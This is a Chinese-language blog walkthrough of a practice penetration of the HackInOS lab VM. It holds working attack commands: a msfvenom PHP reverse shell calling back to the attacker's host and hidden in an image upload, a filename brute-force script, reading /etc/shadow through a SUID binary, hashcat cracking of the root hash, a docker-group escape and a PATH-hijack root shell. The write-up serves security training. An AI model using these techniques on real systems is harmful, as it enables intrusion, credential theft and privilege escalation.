freeBuf
主站

分类

漏洞 工具 极客 Web安全 系统安全 网络安全 无线安全 设备/客户端安全 数据安全 安全管理 企业安全 工控安全

特色

头条 人物志 活动 视频 观点 招聘 报告 资讯 区块链安全 标准与合规 容器安全 公开课

点我创作

试试在FreeBuf发布您的第一篇文章 让安全圈留下您的足迹
我知道了

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

HackInOS靶机渗透练习
FreeBuf_360440 2021-01-27 12:43:39 160677

网络结构:

网络结构由VMware虚拟机及物理机组成

靶机hackinOS:192.168.1.

Kali:192.168.1.132/24

物理机

信息收集:

主机发现:

Nmap扫描:

nmap -sP 192.168.1.0/24

此处192.168.1.1为VMnet1网卡地址,1.3为网关地址,1.137为kali的地址,判断靶机地址为192.168.1.136(这里因为原图在保存过程中丢失了,所以我重新扫描了一下放了张图,时间跟后面对不上,但是不妨碍,地址都是一样的)

image

端口扫描:

可以看到除了22端口,还开放了8000端口:

nmap -sV 192.168.1.136

image

漏洞挖掘:

访问8000端口:

可以看到一个web界面
image

访问robots.txt,可以看到提示了我们一个文件上传页面

注:robots协议也叫robots.txt(统一小写)是一种存放于网站根目录下的ASCII编码的文本文件,它通常告诉网络搜索引擎的漫游器(爬虫),此网站中的哪些内容是不应被搜索引擎的漫游器获取的,哪些是可以被漫游器获取的。

image

打开这个页面瞅瞅:

image

右键查看源代码,拖到最底下,看到给了一个github链接

image

转到这个GitHub页面,可以看到人家给了页面源码:可以上传文件,过滤了mime类型,仅允许png和gif格式

image

生成了一个1-100随机数,添加在文件尾部,用md5加密后作为新文件名

image

这里我们可以上传个木马,接收反弹shell,先制作一个反弹shell的php木马

msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.1.137 lport=4444 -f raw > 1.php

image

生成木马如下图,ip地址为kali的ip,端口号4444为kali要监听的端口

image

然后加到某一图片中,生成图片马

image

记事本打开此图片,可以看到我们1.php中的代码已经加到了图片最后面

image

图片马生成成功,接下来上传上去,将数据包用burp拦截下来,需要修改一下文件名后缀为php,不然到时候没法用

image

image

如上图已经可以看到上传成功,还提示了我们存放的目录位置

在kali端监听端口:

image

这里因为目标主机在存储上传过来的图片时,会在文件名尾部加一个1-100的随机数,然后对其进行md5加密,再生成新的文件名,我们无法直接访问,需要借助工具对目标路径进行爆破

这里首先运行一个python脚本a.py,生成字典zd1.txt

#!/usr/bin/python
import hashlib
for i in range(101):
	file ="3.php"+str(i)
	hash=hashlib.md5(file.encode())
	dir=hash.hexdigest()+".php"
	f = open("zd1.txt","a+")
	f.write(dir+"\r\n")
	f.close()

然后使用dirb进行遍历

dirb "http://192.168.1.136:8000/uploads" zd1.txt

成功检索到目标文件时如下图所示

image

监听端会返回过来一个shell

image

因为网站为wordpress搭建,其数据库信息存放在wp-config.php内,直接用cat就可以查看,可以看到数据库用户名和密码均为wordpress

image

此时我们可以查看下系统信息,判断服务是否运行在容器内

sysinfo

image

主机名为1afdd1f6b82c,像是在容器中运行,确认一下,确实运行在docker中

run post/linux/gather/checkcontainer

image

提权

虽然是在docker中,但现在我们也只有进行提权才能进一步想办法拿到主机shell

先上传一个Linux信息收集脚本 下载地址 https://github.com/sleventyeleven/linuxprivchecker

meterpreter > upload ~/桌面/linuxprivchecker.py /tmp/linuxprivchecker.py

image

这个脚本会提供给我们很多信息,包括我们此时最需要的设置了suid的命令,如下图,tail命令被设置了suid

image

直接用cat来查看shadow文件是查看不了的,所以我们可以用tail来查看shadow文件,可以看到root的用户名密码

tail -c1G /etc/shadow

image

root:$6$qoj6/JJi$FQe/BZlfZV9VX8m0i25Suih5vi1S//OVNpd.PvEVYcL1bWSrF3XTVTF91n60yUuUMUcP65EgT8HfjLyjGHova/:17951:0:99999:7:::

之后使用hashcat破解密码,将得到的用户名密码hash值存放在文件root.hash中,使用hashcat进行破解

image

命令:

hashcat -w 3 -a 0 -m 1800 -o root.out root.hash

此处参数,-w 调优,-a 指定要使用的破解模式,其值参考后面对参数。""-a 0"字典攻击,"-a 1" 组合攻击;"-a 3"掩码 攻击。 -m 1800 = SHA-512(Unix)

得到存有破解密码的文件root.out,查看密码为john

image

此处我们切换为root用户时需要使用到一个交互shell

python -c "import pty;pty.spawn('/bin/bash');"

image

此时docker内提权成功

docker逃逸

有了root权限我们可以查看数据库了,用之前获取的数据库用户名和密码登录mysql

mysql -h db -u wordpress -p

image

从上图中可以看到一个host_ssh_cred表,看起来像是ssh连接,查看下这个表,果然,从里面可以看到一组用户名密码

image

密码由md5加密,将其解密后,得到明文12345

image

使用ssh登录,登录成功

ssh hummingbirdscyber@192.168.1.136

image

登录后查看用户组,属于docker组,逃逸成功

image

二次提权

此时我们直接将root目录挂载至容器内,即可查看root下的文件

如图,成功拿到flag

docker run -it -v /root:/root ubuntu:latest

image

但此时我们还没有真正拿到root权限,继续进行提权

查看一下设置了suid的文件

ls -lh $(find / -perm -u=s -type f 2>/dev/null)

image

可以看到一个a.out,此文件显然是人为创建的可执行文件,运行一下看看,看到返回了结果root

/home/hummingbirdscyber/Desktop/a.out

image

我们不清楚这个文件的内容,但其执行结果仅返回了一个用户名,猜测调用了whoami文件

查看一下环境变量,可以看到/home/hummingbirdscyber/bin,此目录我们是有写权限的

image

我们可以自行编写一个whoami文件,因为我们猜测a.out中使用了whoami命令,而环境变量中又有一个我们具有写权限的目录,此时如果我们伪造一个whoami文件,a.out在调用命令时首先检索环境变量就会调用到我们伪造的whoami,执行我们想要的命令,来达到提权的效果,即使用环境变量进行命令劫持提权

此处whoami中的内容为返回一个shell,还需要说明一点,因为执行a.out的时候返回的是root,因此怀疑是使用root的权限来调用了whoami,此时我们如果能够获取到shell,则可以拿到root权限

hummingbirdscyber@vulnvm:~/Desktop$ nano whoami.c
hummingbirdscyber@vulnvm:~/Desktop$ cat whoami.c
#include <stdlib.h>
int main(void) {
    system("/bin/bash -p");
    return 0;
}
hummingbirdscyber@vulnvm:~/Desktop$ gcc -o whoami whoami.c  //编译
hummingbirdscyber@vulnvm:~/Desktop$ chmod +x whoami         //赋予执行权限

我们到hummingbirdscybe目录下,创建一个bin目录,然后将之前编译好的whoami移动到bin目录下

hummingbirdscyber@vulnvm:~$ mkdir bin
hummingbirdscyber@vulnvm:~$ mv Desktop/whoami bin/

执行a.out,前面的用户名变为了root

image

查看flag,无误,提权成功

image

# web安全 # 靶机渗透
免责声明
1.一般免责声明:本文所提供的技术信息仅供参考,不构成任何专业建议。读者应根据自身情况谨慎使用且应遵守《中华人民共和国网络安全法》,作者及发布平台不对因使用本文信息而导致的任何直接或间接责任或损失负责。
2. 适用性声明:文中技术内容可能不适用于所有情况或系统,在实际应用前请充分测试和评估。若因使用不当造成的任何问题,相关方不承担责任。
3. 更新声明:技术发展迅速,文章内容可能存在滞后性。读者需自行判断信息的时效性,因依据过时内容产生的后果,作者及发布平台不承担责任。
本文为 FreeBuf_360440 独立观点,未经授权禁止转载。
如需授权、对文章有疑问或需删除稿件,请联系 FreeBuf 客服小蜜蜂(微信:freebee1024)
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
靶机渗透练习
FreeBuf_360440 LV.1
这家伙太懒了,还未填写个人描述!
  • 3 文章数
  • 1 关注者
Hackme:2靶机渗透练习
2021-02-22
cybox:1.1靶机练习
2021-02-14